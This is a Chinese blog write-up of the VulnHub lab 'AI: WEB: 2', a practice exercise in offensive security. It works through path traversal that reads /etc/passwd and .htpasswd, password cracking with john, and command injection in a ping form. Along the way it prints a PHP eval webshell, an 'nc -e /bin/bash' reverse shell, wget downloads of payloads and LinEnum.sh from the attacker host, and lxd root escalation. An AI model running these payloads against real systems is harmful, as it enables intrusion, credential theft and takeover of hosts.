vulnhub靶机 AI WEB 2

vulnhub靶机 AI: WEB: 2

靶场介绍

靶场地址:https://www.vulnhub.com/entry/ai-web-2%2C357/

主要内容:文件读取、join爆破、命令注入、命令注入传shell、(隐藏文件)敏感文件泄露、lxd提权

image-20221012092208762

环境搭建还是老样子,就不做介绍了。

信息收集

1、主机探测

arp-scan -l

image-20221012092535460

2、端口扫描

nmap -sS -sV -T4 -A -p- 192.168.247.168

image-20221012092628061

3、目录扫描

发现存在80端口,即存在web页面,访问一下 => http://192.168.247.168

这里需要先注册,然后即可成功登录

image-20221012094408778

登录之后只发现了 Welcome to XuezhuLi FileSharing,这个应该可以当做线索。

对目录进行扫描

dirsearch -u http://192.168.247.168/ 

image-20221012092717285

发现存在webadmin目录,尝试访问:发现需要账号密码

image-20221012093147064

尝试弱口令都不行,那应该是通过信息泄露或者靶场给的提示发现账号密码了。

漏洞发现及利用

通过上面的登录,发现Welcome to XuezhuLi FileSharing,可以尝试去网上查找相关信息。

通过搜索发现是github上面的项目 => https://github.com/XuezhuLi/FileSharing

image-20221012095049287

到漏洞看一下,有没有相关漏洞 => 漏洞库链接:https://www.exploit-db.com/

发现两个漏洞,第一个漏洞是CSRF,危害不大,也不好利用;第二个是目录穿越,这个可以读取一些文件,查看一下这个漏洞。

文件读取

尝试利用:**这里可以用浏览器访问,对文件直接进行下载,也可以放到bp中访问查看

http://192.168.247.168/download.php?file_name=../../../../../../../../../../../../../etc/passwd

image-20221012100304143

成功读取到了/etc/passwd文件,还知道这是Apache系统,所以尝试可以读取他的配置文件,会有账号密码。

http://192.168.247.168/download.php?file_name=../../../../../../../../../etc/apache2/sites-enabled/000-default.conf

image-20221012102629762

这里发现的用户认证文件路径,尝试读取。

192.168.247.168/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd

image-20221012101436705

账号密码:aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
账号是aiweb2admin,密码被加密了,使用john解密一下。

john解密

直接进行解密,但是解密不成功

image-20221012105555997

根据靶场提示,发现解密的字典 => rockyou-45.txt

image-20221012101729289

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt

image-20221012103101310

将rockyou-45.txt字典文件放到dic.txt文件中,将账号密码放到1.txt中,然后进行解密。

john --wordlist=dic.txt 1.txt 

image-20221012103210245

账号/密码: aiweb2admin/c.ronaldo 

账户登录

用得到的账号密码登录 => http://192.168.247.168/webadmin/

image-20221012103905626

尝试访问 robots.txt => http://192.168.247.168/webadmin/robots.txt

image-20221012103952467

访问第一个目录,发现是个ping ip地址的,考虑是否存在命令执行

image-20221012104503294

访问第二的目录,没啥可利用的点

image-20221012104602277

命令注入

回到第一个目录,经过尝试,发现可以使用 | 进行绕过 => 127.0.0.1|ifconfig

http://192.168.247.168/webadmin/H05Tpin9555/#

image-20221012104146623

利用注入执行 下载木马文件

在kali上开启服务器:python2 -m SimpleHTTPServer 8081

并新建一个文件,写入木马,这里命名为 shell.php

<?php
eval($_REQUEST['shell']);
system("nc -e /bin/bash 192.168.247.168 8888");
?>

kali上开启监听: nc -lvnp 8888

通过命令执行下载木马文件 shell.php

127.0.0.1|wget http://192.168.247.160:8081/shell.php #下载shell文件
127.0.0.1|ls #执行之后,查看是否下载成功 

image-20221012111545792

执行 shell.php 但是kali的监听端口没反应

再尝试执行一下一句话 => http://192.168.247.168/webadmin/H05Tpin9555/shell.php?shell=phpinfo();

image-20221012112758874

没有反应,甚至蚁剑连接也连接不上

image-20221012112838072

利用命令注入 查看隐藏文件

想到隐藏文件一般都是(.)开头的,可以使用find命令:

127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/

image-20221012124913098

127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt

image-20221012125226789

SSH 账号密码连接

上面的内容可能是ssh的账号密码

ssh n0nr00tuser@192.168.247.168
zxowieoi4sdsadpEClDws1sf

image-20221012125445151

lxd提权

1、上传扫描脚本

cd /tmp
wget 192.168.247.160:8081/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

image-20221012125754868

在扫描报告的底部,发现可以利用lxd漏洞

2、查找lxd漏洞

searchsploit lxd

查看一下 => cat 46978.sh

image-20221012133512360

第一步需要下载build-alpine ,第二步运行里面的build alpine然后给靶机运行就可以得到root

1> 下载 build-alpine

按照步骤,先下载 build-alpine => https://github.com/saghul/lxd-alpine-builder/

image-20221012133909991

2> 运行 build-alpine

解压后放到kali里面,运行./build-alpine 会下载一个apk的文件

image-20221012135025553

然后ls一下会发现多了一个命名规则是年份日期的,然后把这个传到靶机中。

image-20221012134835392

3> 上传新文件到靶机

wget http://192.168.247.160:8082/alpine-v3.16-x86_64-20221012_0147.tar.gz
chmod +x alpine-v3.16-x86_64-20221012_0147.tar.gz

46978.sh,也上传到靶机,并赋予权限

wget http://192.168.247.160:8082/46978.sh
chmod 777 46978.sh

image-20221012140759854

4> 两个文件放一起运行

./46978.sh -f alpine-v3.16-x86_64-20221012_0147.tar.gz

image-20221012140943779

提权成功

3、查看flag文件

总结

文件读取:这里得熟悉Apache配置文件的路径,才知道应该读取什么文件

join爆破:这里就得知道靶场给了字典的提示

命令注入:这个得尝试怎么绕过,而且看到 ping ip 首先就要想到可能是命令注入

命令注入查看隐藏文件:这个得知道隐藏文件一般都是(.)开头的

这个靶场打的磕磕绊绊,读取配置文件的时候,不知道应该看哪些配置文件,或者说不知道那么多的路径。然后命令注入的时候,查看隐藏文件,这个一开始没想到,还是看了大佬的博客才想起来。后面的lxd提权,也遇到了一点小问题。

posted @ 2022-10-12 14:36  lx20220922  阅读(782)  评论(0编辑  收藏  举报